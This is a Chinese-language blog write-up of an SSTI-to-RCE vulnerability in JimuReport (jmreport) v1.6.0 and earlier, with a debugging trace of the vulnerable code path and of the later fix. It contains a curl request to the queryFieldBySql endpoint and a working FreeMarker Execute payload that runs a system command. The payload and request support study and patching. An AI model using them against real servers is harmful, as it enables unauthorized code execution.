简介
jeecgboot积木报表系统jimureport(jmreport)是一款免费的数据可视化报表,含报表和大屏设计,像搭建积木一样在线设计报表!功能涵盖数据报表、打印设计、图表报表、大屏设计等!
漏洞描述
jimureport ≤ v1.6.0 具有 SSTI(服务器端模板注入),攻击者可利用该漏洞远程执行任意代码(RCE)。
影响版本
jimureport ≤ v1.6.0
漏洞复现
1 | curl --location 'http://101.42.52.114:8080/jeecg-boot/jmreport/queryFieldBySql' \ |

回显payload
1 | {"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'"} |

漏洞分析
环境搭建参考:https://buaq.net/go-175132.html
将.bat文件修改为如下内容
1 | java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar jimureport-example-1.5.8.jar |
idea进行默认的远程调试配置即可
在sql解析处存在相关漏洞

抓包,路由为/jmreport/queryFieldBySql
在此处下载一个断点

开始调试

var1变量是我们传入的语句,获取sql属性的值,并将其作为参数传入i.a方法,跟进

a方法对传入的数据进行一个sql注入的黑名单过滤,回到c方法
进行一些基本的赋值之后,来到这一步

调用了一个parseReportSql方法,其中var2是我们传入的内容
中间会进行一个动态代理的调用

最终来到i.class的parseReportSql方法

会调用到一个e.a方法

其中sql为我们传入的数据,跟进

继续调用i.a方法,依旧是之前那个sql注入黑名单的过滤,接下来会调用一个a方法

跟进

随后会直接对传入的数据进行解析

跟进

接下来就是正常的freemarker模板注入,达成命令执行
高版本修复
会在此处抛出异常

具体是因为这一步的问题

深究一下发现是在这里

在尝试实例化ObjectConstructor类时,会由于安全原因直接抛出异常


© 2024 ycxlo